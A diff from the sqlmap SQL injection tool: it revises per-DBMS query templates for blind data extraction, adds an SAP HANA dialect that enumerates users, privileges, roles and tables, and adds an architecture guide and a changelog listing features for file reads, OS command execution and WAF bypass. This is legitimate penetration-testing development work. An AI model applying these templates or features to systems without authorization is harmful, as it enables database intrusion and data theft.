+            <blind query="SELECT attr_name FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND db_class.owner_name='%s'" query2="SELECT data_type FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND db_class.owner_name='%s'" count="SELECT COUNT(attr_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND db_class.owner_name='%s'" condition="attr_name"/>
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s.%s"/>
-            <blind query="SELECT %s FROM %s.%s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s"/>
         </dump_table>
         <search_db>
             <inband query="SELECT name FROM db_user WHERE %s" condition="name"/>
@@ -1523,8 +1568,8 @@
             <blind query="SELECT DISTINCT(owner_name) FROM db_class WHERE %s" query2="SELECT DISTINCT(class_name) FROM db_class WHERE owner_name='%s'" count="SELECT COUNT(DISTINCT(owner_name)) FROM db_class WHERE %s" count2="SELECT COUNT(DISTINCT(class_name)) FROM db_class WHERE owner_name='%s'" condition="class_name" condition2="owner_name"/>
         </search_table>
         <search_column>
-            <inband query="SELECT owner_name,db_class.class_name FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" condition="attr_name" condition2="owner_name" condition3="db_class.class_name"/>
+            <inband query="SELECT db_class.owner_name,db_class.class_name FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" condition="attr_name" condition2="db_class.owner_name" condition3="db_class.class_name"/>
-            <blind query="SELECT DISTINCT(owner_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" query2="SELECT DISTINCT(db_class.class_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE owner_name='%s'" count="SELECT COUNT(DISTINCT(owner_name)) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" count2="SELECT COUNT(DISTINCT(db_class.class_name)) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE owner_name='%s'" condition="attr_name" condition2="owner_name" condition3="db_class.class_name"/>
+            <blind query="SELECT DISTINCT(db_class.owner_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" query2="SELECT DISTINCT(db_class.class_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.owner_name='%s'" count="SELECT COUNT(DISTINCT(db_class.owner_name)) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" count2="SELECT COUNT(DISTINCT(db_class.class_name)) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.owner_name='%s'" condition="attr_name" condition2="db_class.owner_name" condition3="db_class.class_name"/>
         </search_column>
     </dbms>
 
@@ -1623,7 +1668,7 @@
         <columns/>
         <dump_table>
             <inband query="SELECT %s FROM %s"/>
-            <blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
+            <blind query="SELECT %s FROM %s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
         </dump_table>
         <search_db/>
         <search_table/>
@@ -1680,7 +1725,7 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s.%s"/>
-            <blind query="SELECT TOP (%d,1) %s FROM %s.%s" count="SELECT COUNT(*) FROM %s.%s"/>
+            <blind query="SELECT TOP (%d,1) %s FROM %s.%s ORDER BY %s" count="SELECT COUNT(*) FROM %s.%s"/>
         </dump_table>
         <search_db>
             <inband query="SELECT &quot;schema_name&quot; FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="&quot;schema_name&quot;"/>
@@ -1713,6 +1758,7 @@
         <concatenate query="%s||%s"/>
         <case query="SELECT (IF(%s,1,0))"/>
         <inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
+        <substring query="SUBSTRING((%s),%d,%d)"/>
         <banner/>
         <current_user/>
         <current_db/>
@@ -1752,6 +1798,7 @@
         <concatenate query="%s||%s"/>
         <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
         <inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
+        <substring query="SUBSTRING((%s),%d,%d)"/>
         <banner query="sys_stat('st_dbms_name')||' - '||sys_stat('st_dbms_ver')"/>
         <current_user query="USERNAME()"/>
         <current_db query="UPPER(USERNAME())"/>
@@ -1803,13 +1850,14 @@
         <concatenate query="%s||%s"/>
         <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
         <inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
+        <substring query="SUBSTR((%s),%d,%d)"/>
         <banner query="CURRENT_VERSION()"/>
         <current_user query="CURRENT_USER()"/>
         <current_db query="CURRENT_SCHEMA()"/>
         <hostname query="PARSE_JSON(SYSTEM$ALLOWLIST())[0]:host"/>
         <table_comment/>
         <column_comment/>
-        <is_dba query="CURRENT_ROLE()='ACCOUNTADMIN'"/>
+        <is_dba query="CURRENT_ROLE()='ACCOUNTADMIN' OR ARRAY_CONTAINS('ACCOUNTADMIN'::VARIANT,PARSE_JSON(CURRENT_AVAILABLE_ROLES()))"/>
         <dbs>
             <inband query="SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA"/>
             <blind query="SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY SCHEMA_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA"/>
@@ -1906,4 +1954,77 @@
             <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s ORDER BY table_schema" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
         </search_column>
     </dbms>
+
+    <dbms value="SAP HANA">
+        <cast query="CAST(%s AS VARCHAR(5000))"/>
+        <length query="LENGTH(%s)"/>
+        <isnull query="IFNULL(%s,' ')"/>
+        <delimiter query="||"/>
+        <limit query="LIMIT %d OFFSET %d"/>
+        <limitregexp query="\s+LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
+        <limitgroupstart query="2"/>
+        <limitgroupstop query="1"/>
+        <limitstring query=" OFFSET "/>
+        <order query="ORDER BY %s ASC"/>
+        <count query="COUNT(%s)"/>
+        <comment query="--"/>
+        <substring query="SUBSTRING(%s,%d,%d)"/>
+        <concatenate query="%s||%s"/>
+        <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM DUMMY"/>
+        <hex query="BINTOHEX(TO_BINARY(%s))"/>
+        <inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
+        <banner query="SELECT VERSION FROM SYS.M_DATABASE"/>
+        <current_user query="SELECT CURRENT_USER FROM DUMMY"/>
+        <current_db query="SELECT CURRENT_SCHEMA FROM DUMMY"/>
+        <hostname query="SELECT HOST FROM SYS.M_HOST_INFORMATION WHERE KEY='host_name'"/>
+        <table_comment query="SELECT COMMENTS FROM SYS.TABLES WHERE SCHEMA_NAME='%s' AND TABLE_NAME='%s'"/>
+        <column_comment query="SELECT COMMENTS FROM SYS.TABLE_COLUMNS WHERE SCHEMA_NAME='%s' AND TABLE_NAME='%s' AND COLUMN_NAME='%s'"/>
+        <is_dba query="EXISTS(SELECT 1 FROM SYS.EFFECTIVE_PRIVILEGES WHERE USER_NAME=CURRENT_USER AND PRIVILEGE IN ('DATA ADMIN','USER ADMIN','ROLE ADMIN'))"/>
+        <check_udf/>
+        <users>
+            <inband query="SELECT USER_NAME FROM SYS.USERS"/>
+            <blind query="SELECT USER_NAME FROM SYS.USERS ORDER BY USER_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.USERS"/>
+        </users>
+        <passwords/>
+        <privileges>
+            <inband query="SELECT GRANTEE,PRIVILEGE FROM SYS.GRANTED_PRIVILEGES WHERE OBJECT_TYPE='SYSTEMPRIVILEGE'" condition="grantee"/>
+            <blind query="SELECT PRIVILEGE FROM SYS.GRANTED_PRIVILEGES WHERE OBJECT_TYPE='SYSTEMPRIVILEGE' AND GRANTEE='%s' ORDER BY PRIVILEGE LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.GRANTED_PRIVILEGES WHERE OBJECT_TYPE='SYSTEMPRIVILEGE' AND GRANTEE='%s'"/>
+        </privileges>
+        <roles>
+            <inband query="SELECT GRANTEE,ROLE_NAME FROM SYS.GRANTED_ROLES" condition="grantee"/>
+            <blind query="SELECT ROLE_NAME FROM SYS.GRANTED_ROLES WHERE GRANTEE='%s' ORDER BY ROLE_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.GRANTED_ROLES WHERE GRANTEE='%s'"/>
+        </roles>
+        <statements>
+            <inband query="SELECT STATEMENT_STRING FROM SYS.M_SQL_PLAN_CACHE"/>
+            <blind query="SELECT STATEMENT_STRING FROM SYS.M_SQL_PLAN_CACHE ORDER BY LAST_EXECUTION_TIMESTAMP DESC LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.M_SQL_PLAN_CACHE"/>
+        </statements>
+        <dbs>
+            <inband query="SELECT SCHEMA_NAME FROM SYS.SCHEMAS"/>
+            <blind query="SELECT SCHEMA_NAME FROM SYS.SCHEMAS ORDER BY SCHEMA_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.SCHEMAS"/>
+        </dbs>
+        <tables>
+            <inband query="SELECT SCHEMA_NAME,OBJECT_NAME FROM SYS.OBJECTS WHERE OBJECT_TYPE IN ('TABLE','VIEW')" condition="schema_name"/>
+            <blind query="SELECT OBJECT_NAME FROM SYS.OBJECTS WHERE SCHEMA_NAME='%s' AND OBJECT_TYPE IN ('TABLE','VIEW') ORDER BY OBJECT_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.OBJECTS WHERE SCHEMA_NAME='%s' AND OBJECT_TYPE IN ('TABLE','VIEW')"/>
+        </tables>
+        <columns>
+            <inband query="SELECT COLUMN_NAME,DATA_TYPE_NAME FROM SYS.COLUMNS WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s' ORDER BY POSITION" condition="column_name"/>
+            <blind query="SELECT COLUMN_NAME FROM SYS.COLUMNS WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s' ORDER BY POSITION" query2="SELECT DATA_TYPE_NAME FROM SYS.COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND SCHEMA_NAME='%s'" count="SELECT COUNT(*) FROM SYS.COLUMNS WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s'" condition="column_name"/>
+        </columns>
+        <dump_table>
+            <inband query="SELECT %s FROM %s.%s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
+        </dump_table>
+        <search_db>
+            <inband query="SELECT SCHEMA_NAME FROM SYS.SCHEMAS WHERE %s" condition="schema_name"/>
+            <blind query="SELECT DISTINCT(SCHEMA_NAME) FROM SYS.SCHEMAS WHERE %s ORDER BY SCHEMA_NAME" count="SELECT COUNT(DISTINCT(SCHEMA_NAME)) FROM SYS.SCHEMAS WHERE %s" condition="schema_name"/>
+        </search_db>
+        <search_table>
+            <inband query="SELECT SCHEMA_NAME,TABLE_NAME FROM SYS.TABLES WHERE %s" condition="table_name" condition2="schema_name"/>
+            <blind query="SELECT DISTINCT(SCHEMA_NAME) FROM SYS.TABLES WHERE %s ORDER BY SCHEMA_NAME" query2="SELECT TABLE_NAME FROM SYS.TABLES WHERE SCHEMA_NAME='%s'" count="SELECT COUNT(DISTINCT(SCHEMA_NAME)) FROM SYS.TABLES WHERE %s" count2="SELECT COUNT(*) FROM SYS.TABLES WHERE SCHEMA_NAME='%s'" condition="table_name" condition2="schema_name"/>
+        </search_table>
+        <search_column>
+            <inband query="SELECT SCHEMA_NAME,TABLE_NAME FROM SYS.COLUMNS WHERE %s" condition="column_name" condition2="schema_name" condition3="table_name"/>
+            <blind query="SELECT DISTINCT(SCHEMA_NAME) FROM SYS.COLUMNS WHERE %s ORDER BY SCHEMA_NAME" query2="SELECT DISTINCT(TABLE_NAME) FROM SYS.COLUMNS WHERE SCHEMA_NAME='%s'" count="SELECT COUNT(DISTINCT(SCHEMA_NAME)) FROM SYS.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYS.COLUMNS WHERE SCHEMA_NAME='%s'" condition="column_name" condition2="schema_name" condition3="table_name"/>
+        </search_column>
+    </dbms>
 </root>

doc/ARCHITECTURE.md

@@ -0,0 +1,255 @@
+# sqlmap architecture
+
+A contributor-oriented map of how sqlmap is put together: the major components,
+how a run flows through them, and where to start looking for a given concern.
+
+> This is a map, not a spec. It describes the durable structure and data flow; for
+> exact signatures, option names, and enumerable lists (tampers, DBMSes, options),
+> the source is authoritative. **When this document disagrees with the code, the code wins.**
+
+sqlmap runs on both Python 2.7 and 3.x; sources are kept pure-ASCII unless a literal
+non-ASCII byte is unavoidable. Compatibility shims live in `lib/core/compat.py` and
+`thirdparty/six`.
+
+---
+
+## 1. Entry points
+
+| Entry | File | Purpose |
+|-------|------|---------|
+| CLI | `sqlmap.py` -> `main()` | the scanner. Applies runtime patches, parses options, runs a scan. |
+| REST API | `sqlmapapi.py` | `-s` server / `-c` client wrappers around `lib/utils/api.py`. |
+| Library | `import sqlmap` -> `lib/utils/library.py` | `scan()` / `scanFromRequest()` for programmatic callers; like the API, it drives the engine as a subprocess. |
+
+`main()` (sqlmap.py) does, in order: `dirtyPatches()` (monkey-patches stdlib for
+quirks/security - see below), `setPaths()`, `init()` (option parsing + environment
+setup), then dispatches to `start()` for a normal scan, or to the self-tests
+(`--smoke` / `--vuln-test` / `--api-test`) in `lib/core/testing.py`.
+
+---
+
+## 2. Global state: `conf` and `kb`
+
+Almost everything hangs off two process-global singletons defined in `lib/core/data.py`,
+both `AttribDict` (attribute-accessible dicts; missing keys read back as `None`):
+
+- **`conf`** - the resolved user configuration (options + derived settings). What the
+  user asked for.
+- **`kb`** ("knowledge base") - mutable runtime state discovered during a run
+  (identified DBMS, injection points, page templates, caches, locks, counters).
+
+The configuration pipeline (`lib/core/`):
+
+- `parse/cmdline.py` - argparse definition of every CLI option.
+- `core/optiondict.py` - option name -> type map (used for config-file/API coercion).
+- `core/defaults.py` - default values.
+- `core/option.py` - the heavy lifter: `_setConfAttributes()`, `_setKnowledgeBaseAttributes()`,
+  `_setHTTPHandlers()` (installs the global urllib opener incl. keep-alive), DBMS/encoding
+  setup, etc. Merges CLI + config file + defaults into `conf`/`kb`.
+- `core/settings.py` - constants, version, regexes, thresholds. **New constants go here.**
+
+Identifiers in the codebase are camelCase.
+
+---
+
+## 3. Top-level layout
+
+| Path | Responsibility |
+|------|----------------|
+| `lib/core/` | conf/kb model, common helpers, settings, enums, dump, session, agent, option parsing |
+| `lib/controller/` | the scan orchestrator (`controller.py`), detection checks (`checks.py`), enumeration dispatch (`action.py`), DBMS handler selection (`handler.py`) |
+| `lib/request/` | HTTP layer: `connect.py` (sending), `comparison.py` (the true/false oracle), `inject.py` (value extraction), protocol handlers, response processing |
+| `lib/techniques/` | the exploitation engines: `blind/{inference,multibit}.py`, `error/use.py`, `union/{test,use}.py`, `dns/`, plus one directory per non-SQL family (`ssti/`, `nosql/`, `xpath/`, ...) |
+| `lib/parse/` | parsing of inputs: CLI, config, HTTP request/log files, HTML, sitemap, and the XML payload/boundary loader (`payloads.py`) |
+| `lib/utils/` | feature modules: `api.py` (REST), `hashdb.py` (session), `crawler.py`, `hash.py` (cracking), `har.py`, `brute.py`, `search.py`, ... |
+| `lib/takeover/` | OS-level takeover: shells, file access, UDF, registry, Metasploit, `xp_cmdshell` |
+| `plugins/generic/` | DBMS-agnostic enumeration/fingerprint/filesystem/takeover base classes |
+| `plugins/dbms/<dbms>/` | per-DBMS subclasses + dialect (one dir per supported DBMS) |
+| `tamper/` | payload-mutation scripts (WAF bypass), one `tamper()` per file |
+| `data/xml/` | the data-driven engine: `boundaries.xml`, `payloads/*.xml`, `queries.xml`, `errors.xml` |
+| `data/` (other) | wordlists/common tables/columns (`txt/`), UDFs (`udf/`), stored procs (`procs/`), shells (`shell/`) |
+| `tests/` | stdlib-unittest suite (offline); see section 11 |
+| `thirdparty/` | vendored dependencies (six, bottle, chardet, ...) - no pip at runtime |
+| `extra/` | auxiliary tools (e.g. `vulnserver` used by `--vuln-test`) |
+
+---
+
+## 4. The scan lifecycle (`lib/controller/controller.py: start()`)
+
+For each target:
+
+1. **Target setup** - `initTargetEnv()` / `setupTargetEnv()` (`lib/core/target.py`):
+   resolve URL/params, open the per-target output dir and session file
+   (`conf.hashDBFile`), and **resume** anything already known (DBMS, injection points,
+   cached values) from the session.
+2. **Connection & profiling** (`lib/controller/checks.py`): `checkConnection()`,
+   `checkWaf()` (fills `kb.identifiedWafs`), `checkStability()` /
+   dynamic-content detection (establishes `kb.pageTemplate`, `kb.matchRatio`).
+3. **Heuristics** - `heuristicCheckSqlInjection()` (cheap error-based hint).
+4. **Detection** - `checkSqlInjection(place, parameter, value)` per parameter, driven by
+   the data engine (section 5). Confirmed points are appended to `kb.injections`.
+5. **Fingerprint & handler** - `lib/controller/handler.py: setHandler()` identifies the
+   back-end DBMS and assigns `conf.dbmsHandler`, the object through which all
+   enumeration is dispatched (section 7).
+6. **Action** - `action()` (`lib/controller/action.py`) routes the requested operation
+   (`--banner`, `--dbs`, `--tables`, `--dump`, `--sql-query`, `--os-shell`, ...) to
+   `conf.dbmsHandler` methods, and feeds results to `conf.dumper`.
+
+If nothing is injectable, the dead-end advisory (level/risk, technique, `--text-only`,
+`--tamper` - definitive when `kb.identifiedWafs` is set) is raised as
+`SqlmapNotVulnerableException`.
+
+---
+
+## 5. The data-driven detection engine
+
+Detection behavior lives in **data, not code** - `data/xml/`, loaded by
+`lib/parse/payloads.py` (`loadBoundaries()`, `loadPayloads()`):
+
+- **`boundaries.xml`** - injection *boundaries*: prefix/suffix pairs and the
+  clause/where/parameter-type context they apply to (e.g. quote vs. numeric contexts).
+- **`payloads/*.xml`** - the *tests*, one file per technique
+  (`boolean_blind`, `error_based`, `inline_query`, `stacked_queries`, `time_blind`,
+  `union_query`), each with the request template and the comparison/grep logic that
+  decides success.
+
+`getSortedInjectionTests()` (`lib/core/common.py`) orders the candidate tests by the
+identified/likely DBMS, `--level`, and `--risk`. The **agent** (`lib/core/agent.py`)
+forges the actual payload string - applying boundary prefix/suffix, the `[RANDNUM]`/
+`[DELIMITER]`-style markers, comments, and tamper scripts. Requests go out via
+`lib/request/connect.py`; the **oracle** `lib/request/comparison.py` decides true/false
+by comparing the response against `kb.pageTemplate` (difflib ratio vs. `kb.matchRatio`,
+plus titles/errors/HTTP-code signals).
+
+---
+
+## 6. Exploitation techniques
+
+Once a parameter is injectable, value extraction is dispatched by
+`lib/request/inject.py: getValue()` to the matching engine in `lib/techniques/`:
+
+| Technique | Engine | Mechanism |
+|-----------|--------|-----------|
+| boolean-based blind | `blind/inference.py: bisection()` | binary-search each character via true/false oracle |
+| multi-bit blind (`--multi-bit`) | `blind/multibit.py` | opt-in; reads several bits per request out of the rows a listing page renders |
+| time-based blind / stacked | `blind/inference.py` (time compare) | same bisection, oracle is a measured delay |
+| error-based | `error/use.py: errorUse()` | parse the value straight out of a provoked DB error |
+| UNION query | `union/{test,use}.py` | column-count detection then `UNION SELECT` extraction |
+| inline query | (inline, via inject) | value embedded in the original query position |
+| DNS exfiltration | `dns/` | `--dns-domain` out-of-band channel |
+
+`bisection()` is the hot loop; it caches the `--charset` table in
+`kb.cache.charsetAsciiTbl` and respects the `kb.disableShiftTable` runaway-guard latch
+(intentional). Multi-threaded extraction is coordinated via `kb.locks` and
+`getCurrentThreadData()` (`lib/core/threads.py`).
+
+**Non-SQL engines.** `--nosql`, `--xpath`, `--ldap`, `--ssti`, `--graphql`, `--hql`, `--sparql`,
+`--odata`, `--xslt`, `--xxe` and `--jwt` do not go through the pipeline above at all. Each one is a
+self-contained scanner in `lib/techniques/<family>/inject.py`, dispatched from `controller.py` and
+registered once in `NONSQL_TECHNIQUES` (`lib/core/settings.py`) - that tuple is what the rest of the
+code tests against, so a new family is declared there and nowhere else. The response comparison,
+reflection stripping and blind-bit classification they all need live in `lib/utils/nonsql.py`
+instead of being copied per family.
+
+---
+
+## 7. DBMS abstraction
+
+Enumeration is DBMS-agnostic at the top and specialized underneath:
+
+- **`plugins/generic/`** - base classes for each concern: `fingerprint.py`,
+  `enumeration.py`, `databases.py`, `entries.py`, `users.py`, `filesystem.py`,
+  `takeover.py`, `syntax.py`, `misc.py`, `search.py`, `custom.py`, `connector.py`
+  (direct DB connection for `-d`).
+- **`plugins/dbms/<dbms>/`** - one directory per supported DBMS, subclassing the generic
+  pieces and supplying dialect specifics.
+- **`data/xml/queries.xml`** - per-DBMS SQL query templates (banner, current user, table
+  enumeration, casting, etc.) keyed by DBMS. The generic code asks for a query by name;
+  the dialect comes from XML. It also carries the per-DBMS `<gadgets>` - side-effecting scalar
+  expressions (e.g. PostgreSQL `dblink_exec`) that `getGadget()` (`lib/request/inject.py`) probes
+  once and caches in `kb.gadget`, so `--sql-query` / `--file-write` / `--os-cmd` still work from an
+  injection point that has no stacked queries.
+
+`conf.dbmsHandler` (set in `handler.py`) is the live object that `action()` calls into.
+
+---
+
+## 8. Output and session
+
+- **Output** - `conf.dumper` is a `Dump` instance (`lib/core/dump.py`): console tables
+  plus per-table file export in CSV / HTML / SQLITE / JSONL (`--dump-format`). Logging
+  is via `logger` (`lib/core/log.py`).
+- **Session / resume** - each target gets a SQLite session file
+  (`<output>/<host>/session.sqlite`). `hashDBWrite()` / `hashDBRetrieve()`
+  (`lib/core/common.py`, backed by `lib/utils/hashdb.py`) cache injection points,
+  fingerprint, and extracted values so a re-run *resumes* instead of re-testing
+  (`--flush-session` discards it; `--fresh-queries` ignores cached query results). A
+  stale-session nudge fires on resume when the file is older than `HASHDB_STALE_DAYS`.
+
+---
+
+## 9. Request layer and tampering
+
+`lib/request/connect.py` (`Connect.getPage`) is the single HTTP chokepoint. Around it:
+protocol handlers (`httpshandler`, `redirecthandler`, `chunkedhandler`, `rangehandler`,
+persistent connections via `lib/request/keepalive.py`), response processing (`basic.py`), and the
+comparison oracle (`comparison.py`). Alternative transports hang off the same chokepoint: the
+standard-library HTTP/2 client (`http2.py`, `--http2`, which also carries the `--timeless` oracle in
+`timeless.py`) and WebSocket targets (`websocket.py`).
+
+**Tamper scripts** (`tamper/`) mutate the payload just before sending to evade WAF/IPS.
+Each file exposes a `tamper(payload, **kwargs)` and a `__priority__`; `--tamper=a,b,c`
+chains them in priority order. They are payload-string transforms only (no engine
+coupling), which is why they compose freely. When a WAF/IPS is identified, `lib/utils/wafbypass.py`
+ranks the plausible candidates and `_autoWafBypass()` (`controller.py`) trials them one at a time -
+a candidate is adopted only if re-running the detection through it brings the injection back.
+
+---
+
+## 10. REST API and JSON report
+
+`lib/utils/api.py` runs a Bottle server (`sqlmapapi.py -s`) that drives sqlmap scans as
+subprocesses and exposes them over HTTP. Key pieces: `DataStore`/`Task` (task registry),
+an IPC SQLite `Database` (the subprocess writes results/logs/errors back through
+`StdDbOut`), and the route handlers (`/task/*`, `/option/*`, `/scan/*`, `/version`, ...).
+The contract is documented in `sqlmapapi.yaml` (OpenAPI) and `REST-API.md`.
+
+`--report-json` reuses the *same* assembly code (`_assembleData` / `_sanitizeScanData`)
+that the `/scan/<id>/data` endpoint uses, so the CLI report and the API result can't
+drift; `RESTAPI_VERSION` is the API contract version (major exposed as integer).
+
+---
+
+## 11. Tests and self-tests
+
+Two complementary layers:
+
+- **Offline unit/regression suite** (`tests/`) - stdlib `unittest` only (no pytest/pip),
+  green on py2 + py3. `_testutils.py` bootstraps global state and provides the
+  property/fuzz harness (`Rng` - a cross-version-identical PRNG - and `for_all`). Run:
+  `python -B -m unittest discover -s tests -p "test_*.py"` (`-B` matters: a cached `.pyc`
+  makes a `getFileType(__file__)` doctest see `binary`).
+- **In-tree self-tests** (`lib/core/testing.py`, hidden switches): `--smoke-test`
+  (doctests + regex sanity over the whole tree), `--vuln-test` (end-to-end scans against
+  the bundled `extra/vulnserver`), `--api-test` (live REST round-trip). The CI workflow
+  (`.github/workflows/tests.yml`) runs all of these.
+
+---
+
+## 12. "Where do I start for ...?"
+
+| I want to change... | Start in |
+|---------------------|----------|
+| a CLI option | `lib/parse/cmdline.py` (+ `optiondict.py`, `defaults.py`) |
+| a constant/threshold | `lib/core/settings.py` |
+| how injection is *detected* | `data/xml/boundaries.xml` + `data/xml/payloads/*.xml`, then `lib/controller/checks.py` |
+| how a value is *extracted* | `lib/request/inject.py` + the relevant `lib/techniques/` engine |
+| a non-SQL technique (SSTI, NoSQL, XPath, ...) | `lib/techniques/<family>/inject.py` (+ `NONSQL_TECHNIQUES` in `settings.py`) |
+| the true/false decision | `lib/request/comparison.py` |
+| a per-DBMS query/dialect | `data/xml/queries.xml` + `plugins/dbms/<dbms>/` |
+| enumeration behavior | `plugins/generic/*.py` |
+| dump/output format | `lib/core/dump.py` |
+| a WAF-bypass transform | add a file under `tamper/` |
+| the REST API surface | `lib/utils/api.py` (+ keep `sqlmapapi.yaml` in sync) |
+| session/resume behavior | `lib/utils/hashdb.py` + `hashDB*` in `lib/core/common.py` |
+| a stdlib monkey-patch / security shim | `lib/core/patch.py` |

doc/CHANGELOG.md

@@ -1,3 +1,115 @@
+# Version 2.0 (WIP)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.10...master)
+
+## Injection techniques
+
+* Added the switch `--nosql`. It tests for NoSQL injection. It also dumps the data that it finds.
+* Added the switch `--xpath`. It tests for XPath injection.
+* Added the switch `--ldap`. It tests for LDAP injection.
+* Added the switch `--ssti`. It tests for server-side template injection. It also covers Struts2 and OGNL.
+* Added the switch `--graphql`. It tests for GraphQL injection.
+* Added the switch `--hql`. It tests for HQL and JPQL (Hibernate ORM) injection.
+* Added the switch `--sparql`. It tests for SPARQL injection in triple stores (Apache Jena, Virtuoso, Blazegraph, GraphDB). It confirms the finding with a SPARQL-only construct and then blindly dumps the predicates and the triple objects of the default graph.
+* Added the switch `--odata`. It tests for OData `$filter` injection (Microsoft OData, Apache Olingo). It confirms the finding with an OData-only function, tells the version apart, and blindly dumps the entities, including the properties that the endpoint does not return.
+* Added the switch `--xslt`. It tests for XSLT injection. The engine names itself in the response. sqlmap then dumps the XML document that the stylesheet transforms. It also reads the files that the engine can reach. When the engine exposes an extension bridge (PHP `php:function` or the Xalan `java:` namespace), sqlmap reads any file through it, and with `--os-cmd` or `--os-shell` it runs operating system commands.
+* Added the switch `--xxe`. It tests for XML External Entity injection. It uses in-band, error-based, and out-of-band channels.
+* Added the switch `--jwt`. It examines JSON Web Tokens for weak keys and for injection in the claims.
+* sqlmap now offers to get around a WAF/IPS on its own. Once it identifies one and the ordinary payloads come back blocked, it drops the scanner fingerprint and tries the tamper scripts that suit that WAF, and it keeps the first one that brings the injection back.
+
+## Speed
+
+* Added the switch `--timeless`. It reads each blind bit from the HTTP/2 response order. It does not use a delay. sqlmap calibrates the target first, and it uses the usual time-based technique if the target is not applicable.
+* Added the switch `--multi-bit`. On a page that renders rows, one request reads a bit from each row that comes back instead of a single bit altogether.
+* Added set-membership (Huffman) retrieval for blind dumps. It needs fewer requests for each character. Use `--no-huffman` to stop it.
+* Added keyset (seek) pagination for blind table dumps. Use `--no-keyset` to stop it.
+* Added parallel retrieval of values in blind mode. Each thread retrieves a different value.
+* Made Keep-Alive the default. Use the switch `--no-keep-alive` to stop it.
+* Added the reuse of HTTP/2 connections.
+* Added the switch `--lengths`. It compares the pages only by the content length.
+* Made the HashDB operations faster.
+* Made the tamper script `luanginxmore` much faster.
+
+## Targets and results
+
+* Added the option `--openapi`. It makes the list of targets from an OpenAPI or Swagger document. The options `--openapi-base` and `--openapi-tags` limit that list.
+* Added the switch `--mine-params`. It finds hidden GET parameters.
+* Added the switch `--proof`. It proves the exploitation of each injection point that it finds.
+* Added the option `--report-json`. It writes the results of the run to a JSON file.
+* Added the switch `--procs`. It retrieves the stored procedures and their source code.
+* Added the option `--exclude`. It gives the databases that sqlmap must not enumerate.
+* Added JSONL as a dump format.
+* Added the use of sqlmap as a library.
+* Added experimental support for gRPC-Web (text) requests.
+* Improved the crawler. It now finds the endpoints in JavaScript files.
+
+## Back-end DBMS
+
+* Added support for SAP HANA.
+* Added support for Snowflake.
+* Added support for Google Cloud Spanner.
+* Added support for DuckDB and Trino as forks.
+* Added the switch `--esperanto`. It enumerates a back-end DBMS that sqlmap cannot identify.
+* Added XQuery support to the switch `--xpath`. XQuery is a superset of XPath, so the same injection point gives more. On a back-end that supports it, sqlmap reads a file through `unparsed-text()`.
+* Added error-based payloads for CUBRID, InterSystems Cache, Virtuoso, H2, Firebird, and Vertica.
+* Added time-based payloads for CUBRID.
+* Added out-of-band DNS channels for H2 and ClickHouse.
+* Added PostgreSQL command execution through a PL extension.
